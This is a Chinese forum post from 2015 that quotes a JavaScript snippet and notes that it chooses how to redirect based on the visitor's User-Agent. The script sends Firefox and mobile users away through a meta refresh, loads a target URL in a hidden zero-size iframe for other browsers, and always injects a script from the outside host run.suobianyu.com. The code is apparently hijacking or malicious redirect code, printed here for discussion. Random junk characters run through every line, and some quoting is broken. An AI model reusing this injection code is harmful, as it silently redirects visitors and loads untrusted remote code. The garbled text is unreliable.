|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
2 k* }9 l7 X" [% i- i* F3 B+ B- var ua = navigator.userAgent.toLowerCase(),
% p3 X/ E. V# @, F- g+ D7 o - browser = {
, v, J/ v: J0 g3 `8 n1 D - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],$ ~5 D+ k/ k' y
- opera: /opera/.test(ua),& n# G% @# V, v# H1 j/ C7 z/ @
- maxthon: /maxthon/.test(ua),2 {1 J9 T% i/ \, f$ a
- theworld: /theworld/.test(ua),8 s8 p5 m5 I$ T
- qq: /qqbrowser/.test(ua),/ ~9 b7 q, c! |. q/ Q
- sogou: /se /.test(ua),
2 X: Q9 W: o! }/ L5 c: V - liebao: /liebao/.test(ua),0 l/ ~7 j, F7 M9 D; d
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
+ r9 U/ f7 \& k' @ y* h" @! ~- u - chrome: /chrome|crios/.test(ua),8 _) \- z5 S4 h! u, q( f- f. l
- safari: /webkit/.test(ua),
" `, ~ X$ i1 v - uc: /ucbrowser/.test(ua),+ l ~& v) O/ L. j% y
- ie: /msie/.test(ua) && !/opera/.test(ua)
`, O$ C, k0 Z" }# k7 }4 `9 D - };6 V/ ?% O8 d6 R
- var ver = browser.ver; L* u+ o7 N4 g0 R; t* k
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {& ^; T' I% o& x9 a
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");) k! \1 [- Q- W0 _
- } else {
( s" e3 A1 M P - window.sc = "<iframe src=" + tourl + "></iframe>";( T7 A- J3 y8 n% L1 \5 N* j9 W
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");8 r8 R2 F/ W. G& O0 J+ `
- }' j' _1 A5 K. }, M7 ]3 u
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 * Z2 o: x: Y9 s" P& h
' R! _6 u# q" F6 I% F) i, m好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|